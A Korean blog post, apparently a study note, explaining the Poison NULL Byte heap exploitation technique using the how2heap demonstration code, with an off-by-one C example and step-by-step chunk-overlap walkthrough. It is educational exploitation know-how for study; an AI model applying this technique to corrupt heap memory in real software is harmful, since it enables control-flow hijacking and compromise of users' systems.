1. 시작하기전에...
오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와
주석으로 설명해 놓은 프로젝트입니다.
[참조] https://github.com/shellphish/how2heap
전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,
이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.
[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation
[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/
2. Poison NULL Byte
Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.
이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.
2.1 조건
- 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.
- 0x200 이상의 heap 영역 : 공격 대상 heap영역
- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역
- 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.
- 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.
- Fast chunk는 사용할 수 없습니다.
[참조] https://www.lazenca.net/display/TEC/Poison+null+byte
2.2 Off-by-one
Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.
Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.
[참조]https://en.wikipedia.org/wiki/Off-by-one_error
예시로 다음의 코드를 봅시다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> int main(int argc,char *argv[]) { char buf[1024]; if(strlen(argv[1]) > 1024) { printf("BOF is occured\n"); return -1; } strcpy(buf, argv[1]); printf("buf = %s\n", buf); return 0; } |
위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.
단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요.
언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.
strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우
BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.
이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.
해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.
[참조] http://s0ngsari.tistory.com/entry/Offbyone
2.3 how2heap - Poison NULL Byte
본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); fprintf(stderr, "a: %p\n", a); int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200); fprintf(stderr, "b: %p\n", b); c = (uint8_t*) malloc(0x100); fprintf(stderr, "c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 8); |
소스코드가 길어 부분 부분 잘라서 설명하겠습니다.
최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.
각 변수들의 용도는 아래와 같습니다.
변수명 |
용도 |
a |
Off-by-one을 사용할 수 있게 해줌 |
b |
Poison NULL Byte가 이루어지는 공간 |
c |
Poison NULL Byte로 인해 병합되는 heap |
d |
Poison NULL Byte의 결과로 할당 받는 heap |
b1 |
b해제 후 b공간에서 쪼개져 할당받는 heap |
b2 |
b해제 후 b공간에서 쪼개져 할당받는 heap Poison NULL Byte의 Victim |
뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.
위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.
그리고 추가로 살펴봐야할 것은 11, 12라인인데요
malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.
실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다.
※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.
위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.
여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | uint64_t* b_size_ptr = (uint64_t*)(b - 8); fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n"); // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200; // this technique works by overwriting the size metadata of a free chunk free(b); fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n"); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr); |
여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서
chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.
b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.
Poison NULL Byte공격을 고려하지 않았을 때
0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)
c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.
Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200을
써주어야합니다.
0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)
이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.
그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.
그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.
c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100); fprintf(stderr, "b1: %p\n",b1); fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control b2 = malloc(0x80); fprintf(stderr, "b2: %p\n",b2); memset(b2,'B',0x80); fprintf(stderr, "Current b2 content:\n%s\n",b2); |
위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.
이후 새로 b1을 할당 0x100만큼 할당 받았습니다.
b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.
이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); free(b1); free(c); fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); fprintf(stderr, "d: %p\n",d); fprintf(stderr, "Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300); fprintf(stderr, "New b2 content:\n%s\n",b2); |
이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고
병합이루어 집니다.
그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)
때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.
c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.
0x7320(address of c) - 0x210(prev_size) = 0x7110
0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)
이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.
소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면
더 멋진 결과도 나올 수 있을 것이라고 생각합니다.
끗
'Study > Pwnable' 카테고리의 다른 글
[Codegate 2018] BaskinRobbins31, x64 ROP (0) | 2019.01.25 |
---|---|
[HITCON Training] lab14 / unsorted bin attack (2) | 2018.02.27 |
[HITCON Training] lab12 / Fastbin attack - 2 (2) | 2018.02.23 |
[HITCON Training] lab12 / Fastbin attack - 1 (0) | 2018.02.21 |
[HITCON Training] lab10 / FirstFit, Use After Free (0) | 2017.12.22 |